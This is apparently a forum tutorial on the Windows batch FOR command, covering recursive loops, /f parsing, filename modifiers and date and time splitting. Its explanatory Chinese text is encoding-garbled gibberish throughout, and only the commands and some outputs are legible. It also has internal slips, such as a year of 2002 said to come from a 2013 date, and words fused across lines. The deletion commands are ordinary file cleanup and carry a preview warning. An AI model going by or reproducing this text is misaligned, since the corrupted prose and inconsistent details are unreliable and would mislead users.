¡E ¥ý¥Î if exist §PÂ_¤@¤U¡A¬O¦]¬° For ¥u¬O¾÷±ñªº¹ï¨C­Ó¥Ø¿ý¶i¦æ¦CÁ|¡A¦pªG¦³¨Ç¥Ø¿ý¤U­±¨S¦³CVS¤]·|³Q°õ¦æ¨ì¡C
¡E ¥Î if exist §PÂ_¤@¤U¤ñ¸û¦w¥þ¡C
¡E ³oºØ²¾°£«ü¥O«Â¤O¤Ó¤j¡A½Ð¤p¤ß¨Ï¥Î¡C
¡E ³Ì¦n¬O¦b¯u¥¿°õ¦æ¥H¤Wªº²¾°£«ü¥O«e¡A±N rd /s /q ´«¦¨ @echo ¥ý¦C¥X­n§R¥Xªº¥Ø¿ý¡AÅçÃÒµL»~«á¦A´«¦^rd /s /q¡G
For /r . %a in (.) do @if exist %a\CVS @echo %a\CVS
¡E ¥i¯à¥Ø¿ý¤¤·|¦h¥X¤@¼h "."¡A¤ñ¦p c:\proj\release\.\CVS ¡A¦ý¤£·|¼vÅT«ü¥Oªº°õ¦æ®ÄªG¡C

2. ±N¬Y¤@¤å¥ó¤º®e©Î«ü¥O°õ¦æµ²ªG§@¬°´`Àô½d³ò¡G
¡E °²¦p§A¦³¤@­Ó¤å¥ó todel.txt¡A¸Ì­±¬O©Ò¦³­n²¾°£ªº¤å¥ó¦Cªí¡A²{¦b§A·Q±N¸Ì­±¦C¥Xªº¨C­Ó¤å¥ó³£§R±¼¡C
¡E °²³]³o­Ó¤å¥ó¬O¨C­ÓÀɮצW¥e¤@¦æ¡A¦p¤U¦C¡G
¡E c:\temp\a1.txt
¡E c:\temp\a2.txt
¡E c:\temp\subdir\b3.txt
¡E c:\temp\subdir\b4.txt
¡E ¨º»ò¥i¥H¥ÎFor ¨Ó§¹¦¨¡G
For /f %a in (todel.txt) do del %a
¡E ³o­Ó«ü¥OÁÙ¥i¥H§ó±j¤j¡C
¡E ¦A¦p§Aªº todel.txt ¨Ã¤£¬O¹³¤W­±±Æ¦C¾ã»ô°®²b¡A¦Ó¬O¥ÑDIRª½±µ²£¥Í¡A§t¦³¦³³¡¤À¨S¥Îªº°T®§¡A¦p¤U¦C¡G
¡E Volume in drive D is DATA
¡E Volume Serial Number is C47C-9908
¡E
¡E Directory of D:\tmp
¡E 09/26/2012 12:50 PM 18,426 alg0925.txt
¡E 12/02/2012 04:29 AM 795 bsample.txt
¡E 04/11/2013 04:18 AM 2,043 invitation.txt
¡E 4 File(s) 25,651 bytes
¡E 0 Dir(s) 4,060,700,672 bytes freeFor
¡E
¡E ¤´µM¥i¥H¸Ñ¥X¨ä¤¤ªºÀɮצW¨Ã¶i¦æ¾Þ§@¡G
For /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a
¡E ·íµM¡A¤W­±³o­Ó«ü¥O¬O¦b¶i¦æ²¾°£¡A¦pªG§A¥u¬O·Q¬Ý¬Ý­þ¨Ç¤å¥ó±N³Q¾Þ§@¡A§âDEL´«¦¨echo:
For /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a
¡E §A±N¬Ý¨ì¡G
¡E alg0925.txt
¡E bsample.txt
¡E invitation.txtskip=5
¡E ªí¥Ü¸õ¹L«e5¦æ¡]´N¬ODIR¿é¥XªºÀY³¡°T®§¡^¡Atokens=5ªí¥Ü±N¨C¦æªº²Ä5¦C§@¬°´`Àô­È©ñ¤J%a¡A¥¿¦n¬OÀɮצW¡C
¡E ¦b³o¸Ì¥[¤F¤@­Ó¤å¥ó¦s¦b§PÂ_¡A¬O¦]¬°³Ì«á¤@¦æªº"free"­è¦n¤]¬O²Ä5¦C¡A¥Ø«eÁÙ·Q¤£¥X¦nªº¿ìªk¨ÓÂo±¼³Ì«á¨â¦æ¡A©Ò¥HÀˬd¤@¤U¥i«O¸UµL¤@¥¢¡C

3. ¥i¥H¥Î /f °Ñ¼Æ±N¬Y¤@«ü¥O°õ¦æµ²ªG§@¬°´`Àô½d³ò
¡E «D±`¦³¥Îªº¥\¯à¡C
¡E ¤ñ¦p¡A§Ú­Ì·Qª¾¹D¥Ø«eªºÀô¹ÒÅܼƦ³­þ¨Ç¦W¦r¡]§Ú­Ì¥u­n¦W¦r¡A¤£­n­È¡^¡C
¡E ¥i¬OSET«ü¥Oªº¿é¥X¬O¡u¦W¦r=­È¡vªº®æ¦¡¡A²{¦b¥i¥H¥ÎFor ¨Ó¥u¨ú±o¦W¦r³¡¤À¡G
For /F "delims==" %i IN ('set') DO @echo %i
¡E ±N¬Ý¨ì¡G
¡E ALLUSERSPROFILE
¡E APPDATA
¡E CLASSPATH
¡E CommonProgramFiles
¡E COMPUTERNAME
¡E ComSpec
¡E dircmd
¡E HOMEDRIVE
¡E .....³o¸Ì¬O±Nset«ü¥O°õ¦æªºµ²ªG®³¨Ó§@¬°´`Àô½d³ò¡C
¡E delims==ªí¥Ü¥Î=§@¬°¤À¹j²Å¡A¥Ñ©óFor /F¹w³]¬O¥Î¨C¦æ²Ä¤@­ÓTOKEN¡A©Ò¥H¥i¥H¤ÀÂ÷¥XÅܼƦW¡C
¡E ¦pªG¬O·Q¶È¦C¥X­È¡G
For /F "delims== tokens=2" %i IN ('set') DO @echo %itokens=2
¡E ©M«e¨Ò¬Û¦P¡Aªí¥Ü±N²Ä¤G¦C¡]¥Ñ=§@¬°¤À¹j²Å¡^§@¬°´`Àô­È¡C
¡E ¦A¨Ó­Ó§ó¦³¥Îªº¨Ò¤l¡G
¡E §Ú­Ìª¾¹D date /t ¡]/tªí¥Ü¤£­n¸ß°Ý¥Î¤á¿é¤J¡^ªº¿é¥X¬O¹³³o¼Ëªº¡G
¡E Sat 07/13/2013
¡E ²{¦b§Ú·Q¤ÀÂ÷¥X¤é´Á³¡¤À¡A¤]´N¬O13¡G
For /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a
¡E ¹ê»Ú¤W§â tokens«á­±´«¦¨1,2,3©Î4¡A§A±N¤À§O±o¨ìSat, 07, 13©M2002¡C
¡E ª`·Ndelims=/«á­±ÁÙ¦³­ÓªÅ®æ¡Aªí¥Ü/©MªÅ®æ³£¬O¤À¹j²Å¡C
¡E ¥Ñ©ó³o­ÓªÅ®ædelims¥²¶·¬O/f¿ï¶µªº³Ì«á¤@¶µ¡C
¡E ¦AÆF¬¡¤@ÂI¡A¹³¥»¤å¶}ÀY´£¨ìªº¡A±N¤é´Á¥Î2013-07-13ªº®æ¦¡¿é¥X¡G
For /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b
¡E ·ítokens«á¸ò¦h­Ó­È®É¡A±N¤À§O¬M®g¨ì%a, %b, %cµ¥¡C
¡E ¹ê»Ú¤W¸ò§A«ü©wªºÅܼƦ³Ãö¡A¦pªG§A«ü©wªº¬O %i, ¥¦­Ì´N·|¥Î%i, %j, %kµ¥¡C
¡E ÆF¬¡®M¥Î³o¤@ÂI¡A´X¥G¨S¦³°µ¤£¤Fªº¨Æ¡C

4. ¥i¥H¥Î %~ ¾Þ§@²Å±NÀɮצW¤ÀÂ÷¦¨ÀɮצW¡B°ÆÀɦW¡BºÏºÐ¥N¸¹µ¥¿W¥ß³¡¤À
¡E ³o­Ó¤ñ¸û²³æ¡A´N¬O»¡±N´`ÀôÅܼƪº­È¦Û°Ê¤ÀÂ÷¦¨¥u­nÀɮצW¡A¥u­n°ÆÀɦW¡A©Î¥u­nºÏºÐ¥N¸¹µ¥µ¥¡C
¡E ¨Ò¡G­n±N c:\mp3¤U©Ò¦³mp3ªººq¦W¦C¥X¡A¦pªG¥Î¤@¯ëªº dir /b/s ©Î For /r ¡A
¡E ±N·|¬O³o¼Ë¡G
¡E g:\mp3\Archived\13-08-01-A\¸ê®Æ§¨1\01 ¤i¶§.mp3
¡E g:\mp3\Archived\13-08-01-A\¸ê®Æ§¨1\02 ¯P¤é.mp3
¡E .................................................
¡E g:\mp3\Archived\13-08-01-A\¸ê®Æ§¨2\µ£¸Ü.mp3
¡E g:\mp3\Archived\13-08-01-A\¸ê®Æ§¨2\¯«¸Ü.mp3
¡E g:\mp3\Archived\13-08-01-A\¸ê®Æ§¨2\¥|©u.mp3
¡E ......¦pªG¥u­nºq¦W¡]¤£­n¸ô®|©M".mp3"¡^¡G
¡E ......
¡E ¨º»ò¥i¥H¥ÎFor «ü¥O¡G

For /r g:\mp3 %a in (*.mp3) do @echo %~na
¡E ¤Z¬O %~ ¶}ÀYªº¾Þ§@²Å¡A³£¬OÀɮצWªº¤ÀÂ÷¾Þ§@¡C
¡E ¦pªG·Q±N¹q¸£¤W¦³¤@¨ÇµêÀÀ¥úºÐ¡A¨Ó·½ºÐªº®æ¦¡¬Owavªº¡A·Q¥ÎlameÀ£¤@¤U¡C
¡E ¦pªG¨C­ÓµêÀÀ½Lµ²ºc¬°¡Gwave¸ê®Æ§¨¤U¦³¤l8­Ó¥ª¥k¤l¸ê®Æ§¨¡A¨C­Ó¤l¸ê®Æ§¨¤º¦³¤@¨Çwave¤å¥ó¡A
¡E ¦p±N³o¨Ç¤å¥óÀ£¨ì«ü©wªº¦ì¸m¡AÂনmp3¡AÅé¿n°ò¥»Åܦ¨­ì¨Óªº10¤À¤§¤@¡A¨º»ò¦p¤U³o¼Ë§@¡C¡C¡C¡C
¡E §âlame¥D¤å¥ó©ñ¨ì¨t²ÎÀɮק¨¤U­±¡A¤è«K¨Ï¥Î¡C
¡E «Ø­Óbat¤å¥ó¡A¤º®e¦p¤U¡G

For /r d:\wave %%i in (*.wav) do lame --preset mw-us -m m %%i c:\%%~pni.mp3
¡E do«e­±¬OFor «ü¥Oªº´`Àô¡A/rªí¥Ü¹ï¤l¸ê®Æ§¨»¼¦^°õ¦æ¡A§ä¨ì¨C­Ówav¤å¥ó¡A±N§¹¾ãªºÀɮצW°e¨ìÅܼÆ%i¡A%%iªº¼gªk¬O¦]¬°batªº»Ý­n¡C
¡E do«á­±¬O¹ï¨C­Ó§ä¨ìªº¤å¥ó¶i¦æÀ£ÁY¡A°Ñ¼Æ--preset mw-us¬OÀ£¦¨40Kbps¡A°ò¥»¤W»P·½¤å¥ó¨S¤°»ò°Ï§O¡A°Ñ¼Æ-m mªí¥ÜÀ£¦¨³æÁn¹D¡C
¡E %%~pniªí¥Ü¥u­n¨C­Ó¤å¥óªº¸ô®|¡]¤£¥]¬AºÏºÐ¥N¸¹¡^©MÀɮצW³¡¤À¡]¤£¥]¬A°ÆÀɦW¡^¡C
-----------------------------------------------------------------------------------------------

BAT§å¦¸«ü¥O¡G For ªº¥\¯à½d¨Ò¸Ô¸Ñ- ¤T

-----------------------------------------------------------------------------------------------
For ©R¥O¤¹³\§å¦¸Àɤ¤ªº¨ä¥L©R¥O¡A¥i¥H­«ÂЦa°õ¦æ

For %%a IN (file1 file2 file3) DO del %%a
• µêÀÀÅܼƥ²¶·¥H¨â­Ó¦Ê¤À¸¹¡]%%¡^°_ÀY¡Ain«á­±µÛ°Ñ¼Æ¦C¡Ado«á­±¸òµÛ­n°õ¦æªº©R¥O

Ex1¡G
• @echo off
• echo .... ´ú¸ÕFor «ü¥O
• echo .... ½Ðµy«á
• echo .... §¹¦¨.....
• echo ....

For %%a IN (test_a.bat test_b.bat test_c.bat) do copy %%a prn
µ²ªG¡G
• test Enter
• .... ´ú¸ÕFor «ü¥O
• .... ½Ðµy«á
• .... §¹¦¨.....
• ....
•   1 File(s) Copied
•   1 File(s) Copied
•   1 File(s) Copied

Ex2¡G
• REM ¨ú±o¤é´Á
For /F "tokens=1-4 delims=/ " %%a IN ("%date%") DO (SET _MyDate=%%a%%b%%c%%d)
• REM Åã¥Ü¥h±¼¤À¹j²Å¸¹«áªºµ²ªG
• echo %_MyDate%

»¡©ú¡G
• /F ¬O«ü©w±N«á­± %date% ªºÀô¹ÒÅÜ¼Æ·í¦¨ÀɮרӳB²z¡A¦Ó³B²zªº¨Ì¾Ú´N¬O¦b¡u"tokens=1-4 delims=/ "¡v³oÃä¡C
• tokens¦pªG«ö·Ó¦r­±Â½Ä¶ªº¸Ü¡A¬OÅv§úªº·N«ä¡A³o¼Ë½¤£¤Óª½Ä±¡A¦b³oÃ佦¨¶¶§Ç¥i¯à¤ñ¸û¦n¤@¨Ç¡C
• ¥H³o­Ó¨Ò¤l¨Ó»¡¡A´N¬O­n¨ú±o¶¶§Ç 1 ~ 4 ªº¦r¦ê¡A¨ºµ{¦¡«ç»òª¾¹D³o­Ó¶¶§Çªº¤Àªk©O¡H
• ³z¹L delims ³o­Ó¤Þ­zªº³]©w¡Aµ{¦¡´Nª¾¹D­n«ç»ò¥h¤ÀªR %date% Àô¹ÒÅܼƪº¶¶§Ç¡C
• ¦b delims µ¥¸¹¥kÃ䪺¦r¤¸´N¬O¥Î¨Ó«ü©w¤À³Î¶¶§Çªº¨Ì¾Ú¡C
• ¥H³o­Ó¨Ò¤l¨Ó»¡¡A§Ú­Ì¥Î¡u/¡v»P¡u ¡v(ªÅ¥Õ¡AWhite Space)³o¨â­Ó¤À¹j²Å¸¹¨Ó¤À³Î %date% ªº¶¶§Ç¡C
• ¦]¦¹­ì¥» %date% ªº¤º®e¬O 2013/08/08 ¬P´Á¤G¡A¦bµ{¦¡¨Ó¬Ý´NÅܦ¨¤F¡G

¶¶§Ç¡@   ¤º¡@¡@®e
¡Æ¡Æ¡@   ¡Æ¡Æ¡Æ¡Æ
• 1 ¡@¡@¡@2013
• 2 ¡@ ¡@ ¡@08
• 3 ¡@¡@ ¡@ 08
• 4¡@¡@¡@¬P´Á¤G


• %%a ¬O»¡§â¶¶§Ç 1 ªºµ²ªG«ü¬£µ¹¦WºÙ¬° %%a ªºÅܼơA¦]¦¹¶¶§Ç 2 ªºÅܼƦWºÙ´N·|¬O %%b¡A¥H¦¹Ãþ±À¡A³Ì¦h¥i¥H¦³ 52 ­ÓÅܼơC
• ­ì¦]¦p¤U¡GÅܼƦWºÙ¦³¤j¤p¼g¤§¤À¡A©Ò¥H %%a ¸ò %%A ¤£¦P¡A¥B¶È¯à¥H¤@­Ó­^¤å¦r¥À¨Ó©R¦W¡A©Ò¥H 26¡]­Ó¦r¥À¡^¡Ñ 2¡]¤j¼g¸ò¤p¼g 2 ºØ¡^¡×52¡]­Ó¡^¡C
• DO «á­±ªº¬A¸¹¤º®e¬O¥Î¨Ó«ü©w©Ò­n°õ¦æªº©R¥O¤º®e¡A¥H³o­Ó¨Ò¤l¨Ó»¡¡A´N¬O«ü©w¤@­Ó¦WºÙ¬° _MyDate ªºÅܼơA¥¦ªº¤º®e¬O¥Ñ %%a%%b%%c%%d ©Òºc¦¨ªº¡C
• ¦A¨Ó¬Ý¬Ý¨Ï¥Î For «ü¥O¥h±¼®É¶¡ÅܼƤ§¤À¹j²Å¸¹ªºµ²ªG¡G
• MyTime.bat ªºÀɮפº®e¦p¤U©Ò¥Ü:

----µ{¦¡¶}©l----

• REM ¨ú±o®É¶¡
• For /F "tokens=1-4 delims=:." %%a IN ("%time%") DO (SET _MyTime=%%a%%b%%c%%d)
• REM Åã¥Ü¥h±¼¤À¹j²Å¸¹«áªºµ²ªG
• echo %_MyTime%


----µ{¦¡µ²§ô----

• ¬Ý¬Ý°õ¦æªºµ²ªG¡G
• C:\>MyTime
• ¿Ã¹õ¿é¥X¡G
• 14243241

• ¡ã¦¹½d¨Ò¹B¥Î¨ì %date% »P %time% Àô¹ÒÅܼơã

TOP

        ÀR«ä¦Û¦b : ¹ï¤÷¥À­nª¾®¦¡A·P®¦¡B³ø®¦¡C
ªð¦^¦Cªí ¤W¤@¥DÃD